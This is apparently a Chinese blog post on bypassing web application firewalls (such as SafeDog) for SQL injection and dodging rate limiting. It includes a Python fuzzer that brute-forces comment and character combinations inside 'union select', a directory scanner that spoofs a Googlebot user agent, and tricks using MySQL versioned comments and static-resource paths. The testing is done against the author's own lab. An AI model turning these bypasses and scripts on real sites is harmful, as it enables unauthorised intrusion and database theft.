SQL注入 绕过WAF 绕过cc防护,没想到爬虫这么有用!!!比代理池还有延迟好用太多。

一个实战:see https://www.freebuf.com/articles/network/262295.html

1、绕过 (安全狗) ,自己搭建环境测试

示例绕过:

 

如何发现上述payload,使用的就是模糊测试,代码示例如下:

 

 

If len部分也可以修改成if safedog in result 。。。

 

2、常见waf绕过方式:

其中IP白名单可以设置为站点的IP。

 

利用静态资源绕过,因为老的waf对于静态资源是不检测的,所以可以绕过。例如攻击:www.xxx.com/xxx.php?a=b会被拦截但是www.xxx.com/xxxx.php/xx.png?a=b却不会拦截!但是攻击效果是一样的。再看如下代码:

bogon:wafw00f $ cat tmp.py
from urllib.parse import urlparse
url = 'https://docs.google.com/xxx.php/x.txt?a=b'
result = urlparse(url)
print(result)

url = 'https://www.cnblogs.com/bonelee/p/14907671.html/xx.jpg'
result = urlparse(url)
print(result)

bogon:wafw00f $ python tmp.py
ParseResult(scheme='https', netloc='docs.google.com', path='/xxx.php/x.txt', params='', query='a=b', fragment='')
ParseResult(scheme='https', netloc='www.cnblogs.com', path='/bonelee/p/14907671.html/xx.jpg', params='', query='', fragment='')

 看来站点处理还是有bug。

 

3、爬虫白名单,在扫描的时候特别有用,伪造成爬虫,绕过检测。

自己写示例代码(有工具直接支持吗???):

 

我自己写的一个示例:

#coding: utf-8

import requests


headers = {
    #'User-Agent':"Mozilla/5.0 (compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)"
    'User-Agent':"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
    }


domain = "http://XXX.com/"
with open("dicc.txt") as f:
    for line in f:
        path = line.strip()
        url = domain + path
        res =  requests.get(url=url,headers=headers)
        status =  res.status_code
        print("url:{} status:{}".format(url, status))
        # print("response: ", res.text)
        # break

 

4、利用数据库特效绕过,例如mysql特殊语法,

在MySQL里,多行解释 是 /* */,这个是SQL的标准
但是MySQL扩张了解释 的功能
假如 在起头的/*后头加了惊叹 号,那么此解释 里的语句将被推行
比如
mysql> /*! select * from test */;
+------+
| id |
+------+
| 1 |
| 2 |
| 3 |
+------+
3 rows in set (0.00 sec)

再看如下语句
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行  

一个绕过示例:

 

 

5、当然还有一些SX的waf直接使用了union select关键字,而没有对union all select进行过滤,因此,加一个all即可绕过检测

 

fuzz测试

在安全测试中,模糊测试(fuzz testing)是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。在某些有安全狗一类的防护系统下,如果要手工判断过滤规则需要安全工作者很高的执行力,在这些情况下fuzz测试可以充分利用机器生成无规则且大量的数据来进行测试,拥有很高的效率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#! -*- encoding:utf-8 -*-
# python3

import requests

fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]

fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0",
"X-Forwarded-For": "127.0.0.1"
}
url_start = "http://127.0.0.1/waf/test.php?id=1"
test_url=requests.get(url_start,headers=headers)
print(test_url.text)

for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + exp
res = requests.get(url=url, headers=headers)
print("Now URL:" + url)
if "user" in res.text:
print("Find Fuzz bypass:" + url)
with open(r"C:\Users\Leticia\Desktop\results.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")

这里将fuzz常用到的内联注释、特殊字符等,随机组合(换行 %0A),循环添加到union select之间,如果返回的页面正常显示user,没有进入防护系统的拦截界面,说明这里的表达式没有被过滤,然后写到results.txt中保存。

之后我们可以利用results.txt分析到的规则,再完善前面的其他脚本,进行自动化注入。

 

5、上述fuzzy结果如何应用于sqlmap呢???因为sqlmap有tamper模块,所以自己写一个就可以。

如下:

然后运行:

rdog.py就是自己写的。

注意参数 --delay是为了防止cc。当然为了绕过cc,除了延时、代理池外,最方便的思路是自己使用spider绕过,UA里修改下就可以,如下:

当然,更灵活的方式是使用-r,自己定制header,如下:

然后-u那里修改为-r xxxx.txt 即可!!!

 

posted @ 2021-06-20 18:54  bonelee  阅读(396)  评论(0编辑  收藏  举报